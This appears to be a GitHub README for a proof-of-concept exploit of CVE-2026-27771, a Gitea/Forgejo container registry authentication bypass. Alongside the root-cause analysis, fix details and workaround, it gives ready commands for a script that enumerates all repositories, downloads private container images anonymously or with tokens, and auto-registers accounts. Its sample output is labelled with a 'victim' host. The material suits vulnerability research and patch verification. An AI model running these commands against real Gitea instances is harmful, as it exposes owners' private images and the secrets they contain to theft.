portbuster1337/CVE-2026-27771

GitHub: portbuster1337/CVE-2026-27771

Stars: 15 | Forks: 5

# CVE-2026-27771 — Gitea Container Registry Auth Bypass **CVSS:** N/A (unpublished) **Affects:** Gitea < 1.26.2 (all versions with OCI container registry) **Also affects:** Forgejo (confirmed by NoScope) **Discovered by:** [NoScope](https://www.noscope.com/blog/gitea-instances-exposing-private-container) **Fixed in:** Gitea [v1.26.2](https://blog.gitea.com/release-of-1.26.2/) (May 20, 2026) ## Summary Unauthenticated remote attackers can pull **private** container images from Gitea instances. The OCI Distribution Spec API endpoints (`/v2//manifests/`, `/v2//blobs/`) serve content to ghost/anonymous users (`UserID: -1`) without checking the container package owner's visibility (private/limited/public). NoScope identified ~31,750+ internet-facing instances across 30+ countries. The flaw went undetected for ~4 years. ## Root Cause The vulnerability is in the `ReqContainerAccess` middleware (`routers/api/packages/container/container.go`): // v1.25.4 — vulnerable func ReqContainerAccess(ctx *context.Context) { if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) { apiUnauthorizedError(ctx) } } This only checks: 1. Is `ctx.Doer` nil? (unauthenticated request with no token at all) 2. Is `RequireSignInViewStrict` enabled AND is the user a ghost? It does **not** check the package owner's visibility setting (`VisibleTypePublic`, `VisibleTypeLimited`, `VisibleTypePrivate`). A ghost user (`UserID: -1`) with an empty scope passes straight through and can access any container package. The `/v2/token` endpoint (`Authenticate` function) grants anonymous tokens without credentials when `RequireSignInViewStrict` is `false`. ### Fix (PR #37290 + PR #37610) Two fixes landed in 1.26.2: 1. **PR #37290** — Conditional `Basic realm` header in `apiUnauthorizedError` — stops sending `Basic realm` on public instances to avoid confusing Docker clients, and per-owner visibility check in the auth challenge. 2. **PR #37610** — Package visibility labels + Composer source permission check — adds the underlying permission model for packages. Without these labels, there was no way to differentiate private/internal/public packages in the permission check path. ### Workaround [service] REQUIRE_SIGNIN_VIEW = true This blocks **all** anonymous access (including public repos), which closes the exploit path. However, the underlying permission model is still broken — any authenticated user can still access all packages. **Upgrade to 1.26.2+ for the real fix.** ## Exploit PoC ### Prerequisites - Python 3.8+ - Target Gitea instance < 1.26.2 with OCI container registry enabled (v1.17.0+) ### Usage python3 CVE-2026-27771-exploit.py scan # Discover repos/tags python3 CVE-2026-27771-exploit.py scan --token --username python3 CVE-2026-27771-exploit.py pull # Pull all images python3 CVE-2026-27771-exploit.py pull --repo owner/image # Pull specific repo python3 CVE-2026-27771-exploit.py pull --dry-run # Show what would be pulled python3 CVE-2026-27771-exploit.py pull --token --username python3 CVE-2026-27771-exploit.py register --username u --password p --email e@x.com ### Examples # Scan a vulnerable instance python3 CVE-2026-27771-exploit.py scan https://gitea.example.com # Pull all private container images (anonymous) python3 CVE-2026-27771-exploit.py pull https://gitea.example.com # Pull with personal access token (for REQUIRE_SIGNIN_VIEW instances) python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \ --token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser # Auto-register on instances without captcha python3 CVE-2026-27771-exploit.py register https://gitea.example.com \ --username myuser --password mypass --email me@x.com ### What the exploit does 1. **Pre-flight**: Checks version, `/v2/` endpoint, detects registration availability, obtains anonymous token or exchanges PAT for JWT 2. **Enumerate**: List all container repositories via `/v2/_catalog` (returns ALL repos — public and private — due to broken visibility) 3. **Pull**: For each repo, list tags, fetch the OCI manifest, resolve multi-arch images, download all blob layers 4. **Extract**: Automatically extracts gzip-compressed tar layers into `pulled_/extracted/` ### Token handling - **Anonymous**: If `REQUIRE_SIGNIN_VIEW=false`, gets a ghost token with no credentials - **PAT (SHA1)**: If `--token` is a 40-char hex string, auto-exchanges it for an OCI JWT via `Basic auth` - **JWT**: If `--token` contains dots, uses it directly as a Bearer token ### Example output [*] Pre-flight: https://victim.gitea.com [+] Version (API): 1.25.4 [+] /v2/ -> 401 [+] Anonymous token granted (UserID: -1, Scope: '') [+] /v2/_catalog -> 200 (3 repos) [+] Vulnerable: True (require_signin=False) [*] Container repositories: 3 acme/production-app: tags=['latest', 'v2.1.0'] acme/internal-db: tags=['latest', 'v1.3.0'] team-xyz/secret-ml-model: tags=['v0.9.2'] [acme/production-app] Tags: ['latest'] └─ manifest latest: multi-arch, digest=sha256:a1b2c3..., 12 blobs [1/12] sha256_a1b2c3... (28.4 MB) ... manifests saved extracted 39862 files to pulled_acme_production-app/extracted ## Reproducing ### Setup a test environment # 1. Deploy Gitea 1.25.x with Docker (vulnerable version) docker run -d --name gitea-vuln -p 3000:3000 \ -e GITEA__service__REQUIRE_SIGNIN_VIEW=false \ gitea/gitea:1.25.4 # 2. Create a user and push a private Docker image docker login localhost:3000 -u testuser -p testpass docker pull alpine:latest docker tag alpine:latest localhost:3000/testuser/secret-app:latest docker push localhost:3000/testuser/secret-app:latest # 3. Run the exploit (no credentials) python3 CVE-2026-27771-exploit.py pull http://localhost:3000 # The exploit will find testuser/secret-app and download all layers. # Files will be in pulled_testuser_secret-app/extracted/ ### Verify the fix # Upgrade to patched version docker stop gitea-vuln docker run -d --name gitea-fixed -p 3000:3000 \ gitea/gitea:1.26.2 # Anonymous token should be denied (401) python3 CVE-2026-27771-exploit.py scan http://localhost:3000 # Expected: "Version >= 1.26.2 (patched)" ## References - https://noscope.com/blog/gitea-instances-exposing-private-container - https://blog.gitea.com/release-of-1.26.2/ - https://github.com/go-gitea/gitea/pull/37290 - https://github.com/go-gitea/gitea/pull/37610 - https://github.com/go-gitea/gitea/security/advisories